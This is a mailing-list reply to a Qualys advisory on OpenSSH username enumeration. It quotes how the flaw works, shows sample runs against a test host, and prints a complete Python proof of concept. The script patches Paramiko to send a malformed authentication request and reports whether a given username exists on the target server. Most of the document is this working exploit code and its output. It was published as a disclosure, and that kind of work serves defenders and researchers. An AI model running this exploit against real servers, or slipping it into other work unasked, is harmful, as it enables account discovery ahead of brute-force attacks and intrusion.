Re: OpenSSH Username Enumeration

[Matthew Daley <mattd () bugfuzz com>]

On 16 August 2018 at 04:05, Qualys Security Advisory <qsa () qualys com> wrote:
> The attacker can try to authenticate a user with a malformed packet (for
> example, a truncated packet), and:
>
> - if the user is invalid (it does not exist), then userauth_pubkey()
>   returns immediately, and the server sends an SSH2_MSG_USERAUTH_FAILURE
>   to the attacker;
>
> - if the user is valid (it exists), then sshpkt_get_u8() fails, and the
>   server calls fatal() and closes its connection to the attacker.

I've written a POC for this issue, located at
https://bugfuzz.com/stuff/ssh-check-username.py . It requires the
Paramiko library (http://www.paramiko.org/) to be available. It does
some gross monkey patching of Paramiko to force it into sending an
invalid `SSH2_MSG_USERAUTH_REQUEST` and intercepting the potentially
resultant `SSH2_MSG_USERAUTH_FAILURE` but seems to work well enough. A
sample usage is as follows:

$ nc test.internal 22
SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u3
^C
$ ./ssh-check-username.py test.internal root
[+] Valid username
$ ./ssh-check-username.py test.internal www-data
[+] Valid username
$ ./ssh-check-username.py test.internal thisisinvalid
[*] Invalid username

The POC is also included below for archival purposes.

--- 8< ---

#!/usr/bin/env python

# Copyright (c) 2018 Matthew Daley
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.


import argparse
import logging
import paramiko
import socket
import sys


class InvalidUsername(Exception):
    pass


def add_boolean(*args, **kwargs):
    pass


old_service_accept = paramiko.auth_handler.AuthHandler._handler_table[
        paramiko.common.MSG_SERVICE_ACCEPT]

def service_accept(*args, **kwargs):
    paramiko.message.Message.add_boolean = add_boolean
    return old_service_accept(*args, **kwargs)


def userauth_failure(*args, **kwargs):
    raise InvalidUsername()


paramiko.auth_handler.AuthHandler._handler_table.update({
    paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
    paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
})

logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())

arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('hostname', type=str)
arg_parser.add_argument('--port', type=int, default=22)
arg_parser.add_argument('username', type=str)
args = arg_parser.parse_args()

sock = socket.socket()
try:
    sock.connect((args.hostname, args.port))
except socket.error:
    print '[-] Failed to connect'
    sys.exit(1)

transport = paramiko.transport.Transport(sock)
try:
    transport.start_client()
except paramiko.ssh_exception.SSHException:
    print '[-] Failed to negotiate SSH transport'
    sys.exit(2)

try:
    transport.auth_publickey(args.username, paramiko.RSAKey.generate(2048))
except InvalidUsername:
    print '[*] Invalid username'
    sys.exit(3)
except paramiko.ssh_exception.AuthenticationException:
    print '[+] Valid username'